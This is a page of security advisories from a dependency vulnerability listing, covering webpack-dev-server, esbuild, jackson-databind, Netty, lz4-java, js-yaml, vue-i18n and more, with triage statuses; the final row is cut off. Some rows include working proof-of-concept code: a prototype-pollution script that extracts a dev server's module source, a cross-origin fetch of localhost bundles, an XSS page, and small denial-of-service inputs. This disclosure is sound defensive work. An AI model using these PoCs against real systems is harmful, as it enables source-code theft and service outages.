Search
Vulnerabilities 651–700 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 5.3CVSS 3.1 | GHSA-4v9v-hfq4-rm2v
CVE-2025-30359 |
False positive | 2025-06-04 | 5.6 ×95.5 ×205.4 ×14 | ### Summary Source code may be stolen when you access a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/` 5. You can see the source code output in the document and the devtools console.  The script in the POC site is: ```js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m } const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach } const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } }) document.head.appendChild(script) ``` This script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383). ```js // The require function function __webpack_require__(moduleId) { // Check if module is in cache var cachedModule = __webpack_module_cache__[moduleId]; if (cachedModule !== undefined) { return cachedModule.exports; } // Create a new module (and put it into the cache) var module = __webpack_module_cache__[moduleId] = { // no module.id needed // no module.loaded needed exports: {} }; // Execute the module function var execOptions = { id: moduleId, module: module, factory: __webpack_modules__[moduleId], require: __webpack_require__ }; __webpack_require__.i.forEach(function(handler) { handler(execOptions); }); module = execOptions.module; execOptions.factory.call(module.exports, module, module.exports, execOptions.require); // Return the exports of the module return module.exports; } ``` Especially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`. It uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference. ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script. <details> <summary>Old content</summary> ### Summary Source code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site. ### Details When `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. I pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/` 5. Open the devtools console. 6. You can see the content of `src/index.js` and other scripts loaded.  The script in the POC site is: ```js const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { for (const module in window.__webpack_modules__) { console.log(`${module}:`, window.__webpack_modules__[module].toString()) } }) document.head.appendChild(script) ``` ### Impact This vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script. </details> | |
| 5.3CVSS 3.1 | GHSA-5hh8-q8hv-fr38
CVE-2026-54517 |
Resolved | 2026-06-23 | 5.6 ×55.5 ×105.4 ×1 | ## Summary In `BeanDeserializer._deserializeUsingPropertyBased`, the active-view (`@JsonView`) filter was applied only to creator properties; the regular property-buffering branch performed no `prop.visibleInView(activeView)` check. A change making `SetterlessProperty.isMerging()` return `true` routed setterless Collection/Map properties through this unguarded path, so a setterless collection annotated with a restricted `@JsonView` is populated from attacker JSON even when the active view excludes it. ## Impact View-restricted (e.g. admin-only) setterless collection/map properties can be written from untrusted JSON despite `@JsonView` gating — an access-control / mass-assignment bypass. No RCE or DoS. ## Affected / Patched (verified via `git tag --contains`) - 2.21 line: `>= 2.21.0, < 2.21.4` -> fixed in **2.21.4** (backport `94c5d21`, #5970) - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** (#5969, `5bf23ed`) ## Severity / CWE Maintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-1220. ## Credits Omkhar Arasaratnam (@omkhar) - finder. | |
| 5.3CVSS 3.1 | GHSA-5jmj-h7xm-6q6v
CVE-2026-54515 |
Resolved | 2026-06-23 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary In `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map — restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again. ## Impact An application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write). ## Affected / Patched Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4. ## Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915. ## Upstream fix FasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04. | |
| 5.3CVSS 3.1 | GHSA-5x3r-wrvg-rp6q
CVE-2026-47244 |
Resolved | 2026-06-08 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ### Impact DefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work. ### Resources https://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2 | |
| 5.3CVSS 3.1 | GHSA-67mh-4wv8-2f99 | Resolved | 2025-02-10 | 5.6 ×95.5 ×205.4 ×14 | ### Summary esbuild allows any websites to send any request to the development server and read the response due to default CORS settings. ### Details esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response. https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363 **Attack scenario**: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 1. The user accesses the malicious web page. 1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 1. The attacker gets the content of `http://127.0.0.1:8000/main.js`. In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by - Fetching `/index.html`: normally you have a script tag here - Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files - Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`) - Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip) 2. Extract it and move to that directory 1. Run `npm i` 1. Run `npm run watch` 1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.  ### Impact Users using the serve feature may get the source code stolen by malicious websites. | |
| 5.3CVSS 3.1 | GHSA-6cx8-rjf8-pr8g
CVE-2026-106453 |
In triage | 2026-10-07 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `LZ4DecompressorWithLength.decompress(byte[], int)` allocates whatever size the 4-byte length header declares, before it reads a single byte of compressed data. A 5-byte input whose header says `0x40000000` makes the JVM commit a gigabyte and can cause heap exhaustion. ### Details `net.jpountz.lz4.LZ4DecompressorWithLength` reads the header and passes it straight on: ```java final int destLen = getDecompressedLength(src, srcOff); return fastDecompressor.decompress(src, srcOff + 4, destLen); ``` and `net.jpountz.lz4.LZ4FastDecompressor` allocates it: ```java public final byte[] decompress(byte[] src, int srcOff, int destLen) { final byte[] decompressed = new byte[destLen]; decompress(src, srcOff, decompressed, 0, destLen); return decompressed; } ``` `getDecompressedLength` performs no validation: no comparison against `src.length`, no ceiling, no rejection of negatives. `LZ4SafeDecompressor.decompress(byte[], int, int, int)` has the same shape with `maxDestLen`. The sibling overload that callers pass their own buffer to, `decompress(src, srcOff, dest, destOff, destLen)`, is fine, because there `destLen` is chosen by the caller rather than by the input. The bug is specific to the convenience overloads that take the size from the header, and that difference is the whole finding. ### Impact Any application that decompresses attacker-supplied LZ4 frames through the with-length convenience API can be made to allocate up to 2 GiB per call from a 5-byte message. On a service that decompresses request bodies, a few concurrent 5-byte requests exhaust the heap. No privileges are needed, only the ability to get bytes into the decompressor. Confidentiality and integrity are untouched. | |
| 5.3CVSS 3.1 | GHSA-79cf-xcqc-c78w
CVE-2026-6402 |
False positive | 2026-05-18 | 5.6 ×95.5 ×205.4 ×14 | ### Impact When webpack-dev-server is running on a non-HTTPS origin (the default), cross-origin requests from malicious websites can load the dev server's JavaScript bundles via `<script>` tags. The fix introduced in v5.2.1 (CVE-2025-30359) relied on `Sec-Fetch-Mode` and `Sec-Fetch-Site` request headers to block these requests, but browsers only send these headers for [potentially trustworthy origins](https://w3c.github.io/webappsec-secure-contexts/#is-origin-trustworthy). Over plain HTTP, the headers are absent and the check is bypassed. An attacker who knows the dev server's host, port, and output path can exfiltrate all module source code by intercepting the webpack runtime's module registration. This does not affect Chrome 142+ (and other Chromium-based browsers) due to [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions). ### Patches Patched in webpack-dev-server >= 5.2.4 by setting `Cross-Origin-Resource-Policy: same-origin` on responses. ### Workarounds Run the dev server with HTTPS enabled (`--https` or `server.type: 'https'` in config). ### Resources - [GHSA-4v9v-hfq4-rm2v](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v) (CVE-2025-30359) - original vulnerability - [GHSA-9jgg-88mc-972h](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h) (CVE-2025-30360) - prior bypass | |
| 5.3CVSS 3.1 | GHSA-7fh5-64p2-3v2j
CVE-2023-44270 |
Not affected | 2023-09-30 | 5.6 ×95.5 ×205.4 ×14 | An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule. This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment. | |
| 5.3CVSS 3.1 | GHSA-9fxm-vc8v-hj55
CVE-2026-54516 |
Resolved | 2026-06-23 | 5.6 ×55.5 ×105.4 ×1 | ## Summary `POJOPropertiesCollector._renameProperties()` allows a property with `@JsonProperty("renamed")` on the getter and `@JsonIgnore` on the setter to be renamed rather than dropped. With `MapperFeature.INFER_PROPERTY_MUTATORS` enabled (default), the private backing field is retained; during deserialization `BeanDeserializerFactory.addBeanProps()` sees `hasField()==true`, builds a `FieldProperty`, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the `@JsonIgnore` on the setter. ## Impact POJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE. ## Affected / Patched (verified via `git tag --contains`) - 2.21 line: `>= 2.21.0, < 2.21.4` -> fixed in **2.21.4** (backport `c3d56dd`, #5968) - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** (#5967, `e88cb17`) ## Severity / CWE Maintainer: minor. Reporter: HIGH. CWE-915. ## Credits Omkhar Arasaratnam (@omkhar) - finder. | |
| 5.3CVSS 4.0 | GHSA-9r9m-ffp6-9x4v
CVE-2024-52809 |
False positive | 2024-12-02 | 5.4 ×14 | ### Vulnerability type XSS ### Description vue-i18n can be passed locale messages to `createI18n` or `useI18n`. we can then translate them using `t` and `$t`. vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST. In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as `@intlify/unplugin-vue-i18n` and bulder to convert the AST in advance when building the application. By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST. The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a `static` property, but that is just one of the optimizations. About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`, so there is always a property that is attached during optimization like this time. But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects. ### Reproduce (PoC) ```html <!doctype html> <html> <head> <meta charset="utf-8" /> <title>vue-i18n XSS</title> <script src="https://unpkg.com/vue@3"></script> <script src="https://unpkg.com/vue-i18n@10"></script> <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. --> <script> /** * Prototype pollution vulnerability with `Object.prototype`. * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler. * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts * * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`, * so there is always a property that is attached during optimization like this time. * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code. */ Object.defineProperty(Object.prototype, 'static', { configurable: true, get() { alert('prototype polluted!') return 'prototype pollution' } }) </script> </head> <body> <div id="app"> <p>{{ t('hello') }}</p> </div> <script> const { createApp } = Vue const { createI18n, useI18n } = VueI18n // AST style locale message, which build by `@intlify/unplugin-vue-i18n` const en = { hello: { type: 0, body: { items: [ { type: 3, value: 'hello world!' } ] } } } const i18n = createI18n({ legacy: false, locale: 'en', messages: { en } }) const app = createApp({ setup() { const { t } = useI18n() return { t } } }) app.use(i18n) app.mount('#app') </script> </body> </html> ``` ### Workarounds Before v10.0.0, we can work around this vulnerability by using the regular compilation (`jit: false` of `@intlify/unplugin-vue-i18n` plugin configuration) way instead of jit compilation. - jit compilation: https://vue-i18n.intlify.dev/guide/advanced/optimization.html#jit-compilation - bundler plugin option: https://github.com/intlify/bundle-tools/tree/main/packages/unplugin-vue-i18n#jitcompilation ### References - [Simillar case: Vue 2 XSS vulnerability with prototype pollution](https://www.herodevs.com/vulnerability-directory/cve-2024-6783) | |
| 5.3CVSS 3.1 | GHSA-c2gf-v879-257j
CVE-2026-48043 |
Resolved | 2026-06-11 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ### Impact The `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it. A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME. | |
| 5.3CVSS 3.1 | GHSA-ccrj-gw8r-854m
CVE-2026-118259 |
In triage | 2026-10-28 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | ### Summary OpenTelemetry Java's W3C trace-context propagator permits excessive CPU consumption when extracting crafted `tracestate` headers, potentially leading to denial of service. Regex backtracking causes quadratic parsing time for headers containing long runs of spaces or tabs without a following comma. ### Impact An unauthenticated attacker whose headers reach `W3CTraceContextPropagator.extract()` can cause excessive CPU usage through crafted requests. Parsing blocks the calling thread, potentially affecting other connections when extraction runs on a shared event-loop thread. Actual impact depends on ingress header-size limits, proxy configuration, and threading. Header-size limits reduce the per-request cost but do not eliminate the vulnerability. ### Patches Upgrade `io.opentelemetry:opentelemetry-api` to version **1.67.0** or later. [PR #8914](https://github.com/open-telemetry/opentelemetry-java/pull/8914) replaces regex delimiter splitting with literal comma scanning and explicit whitespace trimming. ### Workarounds If upgrading is not possible, reject or remove oversized `tracestate` headers before trace-context extraction. This reduces the per-request parsing cost but does not eliminate the risk from repeated requests. | |
| 5.3CVSS 3.1 | GHSA-gm45-99xc-r7wv
CVE-2026-106450 |
In triage | 2026-10-07 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `LZ4FrameInputStream` allocates two new buffers of the frame's maximum block size, up to 4 MiB each, every time it reads a frame header. Because concatenated frames are read by default, an input made of many minimal empty frames forces about 8 MiB of zeroed heap allocation for every 11 input bytes. ### Details In `net.jpountz.lz4.LZ4FrameInputStream.readHeader()`: ```java maxBlockSize = frameInfo.getBD().getBlockMaximumSize(); compressedBuffer = new byte[maxBlockSize]; // Reused during different compressions rawBuffer = new byte[maxBlockSize]; buffer = ByteBuffer.wrap(rawBuffer); ``` This runs for every frame, and the previous frame's arrays are never reused. A valid 11-byte frame consists of the magic number, FLG `0x60`, BD `0x70` (4 MiB blocks), the header checksum, and an immediate end mark. It carries no data, yet triggers the full 8 MiB allocation. `new LZ4FrameInputStream(in)` reads concatenated frames by default. In local measurements on JDK 25, 10,000 such frames (110 KB of input) took about 8 seconds of CPU to read, roughly 70 seconds per MiB of input. This was similar under G1, Parallel, Serial and ZGC. A legitimate stream costs orders of magnitude less per input byte. ### Impact Applications that decode attacker-controlled LZ4 frame data with `LZ4FrameInputStream` can be made to spend large amounts of CPU and GC time relative to the input size. Live heap stays bounded at about 8 MiB and the stream produces no output, so decompressed-size limits do not help. Cost grows linearly with input size, so the practical limit is the compressed input size the application accepts. Availability impact only. Applications using `readSingleFrame = true` perform only one allocation and are not affected. ### Patch Fixed in lz4-java 1.11.4. `LZ4FrameInputStream` now allocates its block buffers only when a block needs them and reuses them across frames, never shrinking them. The content checksum hash and the skippable-frame skip buffer are also reused instead of being created for every frame. Decompression is limited to the current frame's maximum block size. For older versions, the workaround is to limit the compressed input size accepted from untrusted sources, or use single-frame mode where that is sufficient. | |
| 5.3CVSS 3.1 | GHSA-h67p-54hq-rp68
CVE-2026-53550 |
Not affected | 2026-06-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } | |
| 5.3CVSS 3.1 | GHSA-hgj6-7826-r7m5
CVE-2026-54514 |
Resolved | 2026-06-23 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary `JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect. ## Impact An attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding. ## Affected / Patched (verified via `git tag --contains` on `1f5a103`) - 2.18 line: `>= 2.18.0, < 2.18.8` -> fixed in **2.18.8** - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** ## Severity / CWE Maintainer: minor. Reporter: LOW. CWE-918 (SSRF). ## Upstream fix FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4. ## Credits Omkhar Arasaratnam (@omkhar) - finder. | |
| 5.3CVSS 3.1 | GHSA-hj48-42vr-x3v9
CVE-2021-23343 |
Not affected | 2021-08-10 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Affected versions of npm package `path-parse` are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity. | |
| 5.3CVSS 3.1 | GHSA-hjcp-jmpx-g3qm
CVE-2026-64607 |
Resolved | 2026-07-31 | 5.7 ×75.6 ×95.5 ×20 | HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header value in the response message. Please note this defect does not affect HttpClient based on the async i/o model. This issue affects Apache HttpComponents Client: from 5.0-alpha1 through 5.6.2. | |
| 5.3CVSS 3.1 | GHSA-hvcg-qmg6-jm4c
CVE-2026-50020 |
Resolved | 2026-06-15 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ## Summary Before reading the first request-line, `HttpObjectDecoder` skips every byte for which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to ignore **empty CRLF lines** preceding the request-line — a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes significantly beyond this, and can be exploited for request-boundary confusion in pipelined or multiplexed transports where a front-end component treats those bytes differently. ## Affected Code | File | Lines | Role | |------|-------|------| | `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1298–1313 | `ISO_CONTROL_OR_WHITESPACE` static initialiser — marks all ISO control chars | | `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1307–1313 | `SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` — skips the entire set | | `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1275–1289 | `LineParser.skipControlChars` — advances `readerIndex` past all matching bytes | ## Specification Analysis ### RFC 9112 §2.2 — Message Parsing > In the interest of robustness, a server that is expecting to receive and parse a > request-line **SHOULD ignore at least one empty line (CRLF)** received prior to the > request-line. > An HTTP/1.1 user agent **MUST NOT** preface or follow a request with an extra CRLF. ### Deviation The RFC names a single permitted exception: an **empty line** (bare CRLF, i.e. the two-byte sequence `\r\n`). The `ISO_CONTROL_OR_WHITESPACE` table is initialised as: ```java for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) { ISO_CONTROL_OR_WHITESPACE[128 + b] = Character.isISOControl(b) || isWhitespace(b); } ``` `Character.isISOControl` returns `true` for `0x00`–`0x1F` and `0x7F`. This includes NUL (`0x00`), SOH (`0x01`), STX (`0x02`), BEL (`0x07`), DEL (`0x7F`), and every other non-CRLF control character. The `SKIP_CONTROL_CHARS` state runs this scan unconditionally before the first `READ_INITIAL`, meaning any sequence of such bytes prepended to a request is silently consumed. A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack. ## Suggested Unit Test Add to `HttpRequestDecoderTest.java`. ```java @Test public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() { // RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the // request-line. Non-CRLF control bytes are not part of this robustness allowance // and must not be silently swallowed. EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); ByteBuf buf = Unpooled.buffer(); buf.writeByte(0x00); // NUL — not an empty CRLF line buf.writeByte(0x01); // SOH — not an empty CRLF line buf.writeCharSequence( "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n", CharsetUtil.US_ASCII); channel.writeInbound(buf); HttpRequest req = channel.readInbound(); // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are // silently skipped; the request decodes successfully and isFailure() == false. // // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must // cause a parse error — isFailure() == true. assertTrue( req.decoderResult().isFailure(), "Non-CRLF control bytes before the request-line must not be silently skipped " + "(RFC 9112 §2.2 allows only empty CRLF lines)"); assertFalse(channel.finish()); } ``` **Current behaviour (unfixed):** `skipControlChars` advances past `0x00` and `0x01` because both are in `ISO_CONTROL_OR_WHITESPACE`; the request parses normally, `isFailure()` is `false` → test **fails**. **Expected behaviour after fix:** only CRLF empty lines are tolerated; non-CRLF control bytes produce an error, `isFailure()` is `true` → test **passes**. | |
| 5.3CVSS 3.1 | GHSA-jfg9-48mv-9qgx
CVE-2026-44248 |
Resolved | 2026-05-07 | 5.6 ×25.5 ×185.4 ×12 | ### Impact The MQTT 5 header Properties section is parsed and buffered _before_ any message size limit is applied. Specifically, in `MqttDecoder`, the `decodeVariableHeader()` method is called before the `bytesRemainingBeforeVariableHeader > maxBytesInMessage` check. The `decodeVariableHeader()` can call other methods which will call `decodeProperties()`. Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because `MqttDecoder` extends `ReplayingDecoder`, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. ### Resources `ANT-2026-09608` https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027 | |
| 5.3CVSS 3.1 | GHSA-m28w-2pqf-7qgj
CVE-2026-14631 |
